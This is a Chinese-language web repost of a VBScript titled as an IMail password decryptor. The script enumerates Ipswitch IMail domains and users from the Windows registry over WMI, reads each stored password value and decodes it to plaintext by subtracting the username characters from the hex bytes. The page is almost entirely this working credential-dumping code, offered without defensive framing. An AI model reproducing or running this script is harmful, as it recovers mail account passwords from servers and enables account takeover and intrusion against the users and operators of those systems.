vbs imail 密碼解密
來源:易賢網 閱讀:1175 次 日期:2016-07-18 15:46:48
溫馨提示:易賢網小編為您整理了“vbs imail 密碼解密”,方便廣大網友查閱!

代碼如下:

on error resume next

const HKEY_LOCAL_MACHINE = &H80000002

strComputer = "."

Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_

strComputer & "\root\default:StdRegProv")

strKeyPath = "SOFTWARE\Ipswitch\IMail\Domains"

oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys

For Each subkey In arrSubKeys

wscript.echo "Domain: "&subkey

strKeyPath2 = strKeyPath&"\"&subkey&"\Users"

oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2

For Each subkey2 In arrSubKeys2

strKeyPath3=strKeyPath2&"\"&subkey2

strValueName = "Password"

oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue

if len(subkey2) and len(strValue) then

wscript.echo subkey2 &" : " & decrypt(subkey2,strValue)

end if

Next

Next

function decrypt(name,pass)

while len(name)<len(pass)/2

name=name&name

wend

for i=0 to len(pass)/2-1

p=mid(pass,2*i+1,2)

p="&H"&p

n=mid(name,i+1,1)

decrypt=decrypt&chr(clng(p)-asc(n))

next

end function

更多信息請查看腳本欄目
易賢網手機網站地址:vbs imail 密碼解密
關于我們 | 聯(lián)系我們 | 人才招聘 | 網站聲明 | 網站幫助 | 非正式的簡要咨詢 | 簡要咨詢須知 | 加入群交流 | 手機站點 | 投訴建議
工業(yè)和信息化部備案號:滇ICP備2023014141號-1 云南省教育廳備案號:云教ICP備0901021 滇公網安備53010202001879號 人力資源服務許可證:(云)人服證字(2023)第0102001523號
聯(lián)系電話:0871-65317125(9:00—18:00) 獲取招聘考試信息及咨詢關注公眾號:hfpxwx
咨詢QQ:526150442(9:00—18:00)版權所有:易賢網